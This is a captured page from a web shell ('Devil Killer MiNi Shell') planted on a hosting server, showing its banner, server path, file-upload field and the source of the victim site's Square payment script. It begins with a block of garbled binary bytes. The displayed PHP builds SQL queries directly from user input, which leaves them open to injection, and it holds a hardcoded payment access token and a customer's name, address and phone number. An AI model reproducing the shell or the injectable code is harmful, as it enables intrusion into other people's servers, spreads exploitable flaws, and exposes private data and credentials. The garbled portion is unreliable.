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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom_0/square/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom_0/square/process_payment.php

<?PHP 
	/*echo "{\"title\":\"Payment Successful\",\"result\":{\"payment\":{\"id\":\"PFfGbiOZ5ZYzZCxzl7ou43mORfEZY\",\"amount_money\":{\"amount\":100,\"currency\":\"CAD\"},\"created_at\":\"2020-09-25T12:53:03.580Z\",\"updated_at\":\"2020-09-25T12:53:03.861Z\",\"total_money\":{\"amount\":100,\"currency\":\"CAD\"},\"status\":\"COMPLETED\",\"source_type\":\"CARD\",\"card_details\":{\"status\":\"CAPTURED\",\"card\":{\"card_brand\":\"VISA\",\"last_4\":\"1111\",\"exp_month\":12,\"exp_year\":2021,\"fingerprint\":\"sq-1-vRkwwOW8JURE-74A0TZ9wAD8uMB2Ggjv7efnxZQRor4UxQ534Vzd6OuO_lS5Bi6V-g\"},\"entry_method\":\"KEYED\",\"cvv_status\":\"CVV_ACCEPTED\",\"avs_status\":\"AVS_ACCEPTED\"},\"location_id\":\"L7J6MWZ0G6QD2\",\"order_id\":\"s1KtiNhZDdRvuEPW3dlJ31MVB89YY\"}}}";*/

	header('Content-Type: application/json');

	$data=json_decode(file_get_contents("php://input"));
	//some code
	/*echo json_encode($data);
	die();

	$data1 = '{"nonce": "cnon:CBASEClf8nQIkeAiGBc1SXpJw3s","pay_gw": "square", "amount_payable": 11.3,"cardData":{"billing_postal_code": "L3R1P9","card_brand": "VISA","digital_wallet_type": "NONE","exp_month": 12,"exp_year": 2021,"last_4": "1111"},"ship_info":{"address1": "91 Emmeloord Cres","address2": "unit 9","city": "Markham","pc": "L3R1P9","phone": "4165086738","province": "ON","receiver": "Cheng Mu"}}';
	$data = json_decode($data1);*/


	//var_dump($data);

    require "../connection.inc.php";
	require "../functions.inc.php";
	require 'autoload.php';

	use Square\SquareClient;
	use Square\LocationsApi;
	use Square\Exceptions\ApiException;
	use Square\Http\ApiResponse;
	use Square\Models\ListLocationsResponse;
	use Square\Environment;

	$user_id = $_SESSION['USER_ID'];
	$receiver = $data->ship_info->receiver;
	$address1 = $data->ship_info->address1;
	$address2 = $data->ship_info->address2;
	$city = $data->ship_info->city;
	$province = $data->ship_info->province;
	$pc = $data->ship_info->pc;
	$phone = $data->ship_info->phone;

	$pmnt_gw = $data->pay_gw;
	$payment_type = $data->cardData->card_brand;
	$last_4 = $data->cardData->last_4;
	$exp_month = $data->cardData->exp_month;
	$exp_year = $data->cardData->exp_year;
	$billing_pc = $data->cardData->billing_postal_code;

	$payment_status = 'pending'; 
	$order_status = ORDER_STATUS_PENDING;
	$added_on = date("Y-m-d h:i:s");

	$nonce = $data->nonce;
	$amount_payable = $data->amount_payable*100;
	$currency = "CAD";
	$idempotency_key = uniqid();  // max 45 characters
	$app_fee_rate = 0.01;
	$payment_note = ""; // max 500 characters
	$statementDescription = "xiaojiabiyu.com"; //max 20 characters

	$sql = "insert into t_order(user_id,receiver,address1,address2,city,province,pc,phone,pmnt_gw,payment_type,last_4,exp_mon,exp_yr,bpc,payment_status,order_status,token,idempotency_key,added_on) values('$user_id','$receiver','$address1','$address2','$city','$province','$pc','$phone','$pmnt_gw','$payment_type','$last_4','$exp_month','$exp_year','$billing_pc','$payment_status','$order_status','$nonce','$idempotency_key','$added_on')";
	mysqli_query($con,$sql);
	$order_id = mysqli_insert_id($con);
	$cart_sub_total = 0;

	foreach($_SESSION['cart'] as $key=>$value){
		$productArr = get_product($con,'','',$key);
		$pname = $productArr[0]['name'];
		$mrp = $productArr[0]['mrp'];
		$price = $productArr[0]['price'];
		$image = $productArr[0]['image'];
		$qty = $value['qty'];
		$cart_sub_total += $price*$qty;

		$sql = "insert into t_order_details(order_id,product_id,qty,price) values('$order_id','$key','$qty','$price')";
		mysqli_query($con,$sql);
	}
	$tax = $cart_sub_total*TAX_RATE;
	$cart_total = $cart_sub_total + $tax;
	$total_price = $cart_total;
	$ref_id = $user_id."-".date("YmdHis")."-".$order_id; // max 40 characters

	$sql = "update t_order set total_price='$total_price',ref_id='$ref_id' where id='$order_id'";
	mysqli_query($con,$sql);

	$client = new SquareClient([
		'accessToken' => 'EAAAEJXdYtVzWaxfvJz9G2vGFWQ9Wc__sdwWYbw3BiGABdchqOxXEgXKIARraR5y',
		'environment' => Environment::SANDBOX,
	]);

	try {
		$amount_money = new \Square\Models\Money();
		$amount_money->setAmount($amount_payable);
		$amount_money->setCurrency($currency);

		$app_fee_money = new \Square\Models\Money();
		$app_fee_money->setAmount($amount_payable*$app_fee_rate);
		$app_fee_money->setCurrency($currency);

		$body = new \Square\Models\CreatePaymentRequest(
			$nonce,
		    $idempotency_key,
		    $amount_money
		);
		$body->setAppFeeMoney($app_fee_money);
		$body->setAutocomplete(true);
		// $body->setCustomerId('VDKXEEKPJN48QDG3BGGFAK05P8');
		// $body->setLocationId('XK3DBG77NJBFX');
		$body->setReferenceId($ref_id);
		$body->setNote($payment_note);
		$body->setStatementDescriptionIdentifier($statementDescription);

		$api_response = $client->getPaymentsApi()->createPayment($body);

		if ($api_response->isSuccess()) {
			$result = $api_response->getResult();
			successPayment($con,$order_id,json_decode(json_encode($result)));

			$res = new stdClass();
			$res->title = "Payment Successful";
			$res->result = $result;
		} else {
			$errors = $api_response->getErrors();

			failedPayment($con,$order_id,json_decode(json_encode($errors[0])));
			$res = new stdClass();
			$res->title = "Payment failed";
			$res->result = $errors[0];
		}
		echo json_encode($res);
		die();
		header("location:../thank_you.php");

		// $locationsApi = $client->getLocationsApi();
		// $apiResponse = $locationsApi->listLocations();

		// if ($apiResponse->isSuccess()) {
		// 	$listLocationsResponse = $apiResponse->getResult();
		// 	$locationsList = $listLocationsResponse->getLocations();
		// 	foreach ($locationsList as $location) {
		// 		print_r($location);
		// 	}
		// } else {
		// 	print_r($apiResponse->getErrors());
		// }
	} catch (ApiException $e) {
		print_r("Recieved error while calling Square: " . $e->getMessage());
	}

	function successPayment($con,$order_id,$payment_res){
		$payment_id = saveSuccessPaymentDB($con,$payment_res);
		updateOrderStatusDB($con,$order_id, $payment_res->payment->status,ORDER_STATUS_PROCESSING,$payment_id);
		unset($_SESSION['cart']);
	}

	function updateOrderStatusDB($con,$order_id,$payment_status,$order_status,$payment_id){
		$sql = "update t_order set payment_status='$payment_status', payment_id='$payment_id',order_status='$order_status' where id='$order_id'";
		mysqli_query($con,$sql);
	}

	function saveSuccessPaymentDB($con,$payment_res){
		$str_fields = "pay_amount,pay_currency,app_fee_amount,app_fee_currency,total_amount,total_currency,avs_stauts,vcc_status,entry_method,card_state_desc,card_status,card_bin,card_brand,card_type,card_ex_mon,card_ex_yr,card_last_4,card_fingerprint,created_at,update_at,delay_action,delay_duration,delayed_until,payment_id,location_id,note,order_id,receipt_num,receipt_url,ref_id,source_type,payment_state_desc,payment_status";
		$str_values = "'".$payment_res->payment->amount_money->amount."',
				'".$payment_res->payment->amount_money->currency."',
				'".$payment_res->payment->app_fee_money->amount."',
				'".$payment_res->payment->app_fee_money->currency."',
				'".$payment_res->payment->total_money->amount."',
				'".$payment_res->payment->total_money->currency."',
				'".$payment_res->payment->card_details->avs_status."',
				'".$payment_res->payment->card_details->cvv_status."',
				'".$payment_res->payment->card_details->entry_method."',
				'".$payment_res->payment->card_details->statement_description."',
				'".$payment_res->payment->card_details->status."',
				'".$payment_res->payment->card_details->card->bin."',
				'".$payment_res->payment->card_details->card->card_brand."',
				'".$payment_res->payment->card_details->card->card_type."',
				'".$payment_res->payment->card_details->card->exp_month."',
				'".$payment_res->payment->card_details->card->exp_year."',
				'".$payment_res->payment->card_details->card->last_4."',
				'".$payment_res->payment->card_details->card->fingerprint."',
				'".$payment_res->payment->created_at."',
				'".$payment_res->payment->delay_action."',
				'".$payment_res->payment->delay_duration."',
				'".$payment_res->payment->delayed_until."',
				'".$payment_res->payment->id."',
				'".$payment_res->payment->location_id."',
				'".$payment_res->payment->note."',
				'".$payment_res->payment->order_id."',
				'".$payment_res->payment->receipt_number."',
				'".$payment_res->payment->receipt_url."',
				'".$payment_res->payment->reference_id."',
				'".$payment_res->payment->source_type."',
				'".$payment_res->payment->statement_description_identifier."',
				'".$payment_res->payment->status."',
				'".$payment_res->payment->updated_at."'";
		$sql = "insert into t_payment_success ($str_fields) values($str_values)";
		mysqli_query($con,$sql);
		$payment_id = mysqli_insert_id($con);
		return $payment_id;
	}

	function failedPayment($con,$order_id,$err){
		$payment_id = saveFailedPaymentDB($con,$order_id,$err);

		updateOrderStatusDB($con,$order_id, "FAILED",ORDER_STATUS_PENDING, $payment_id);
	}

	function saveFailedPaymentDB($con,$order_id,$err){
		$str_fields = "order_id,category,err_code,detail,added_on";
		$str_values = "'".$order_id."','".$err->category."','".$err->code."','".$err->detail."','".date("Y-m-d H:i:s")."'";
		$sql = "insert into t_payment_failed ($str_fields) values($str_values)";
		mysqli_query($con,$sql);

		return mysqli_insert_id($con);
	}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com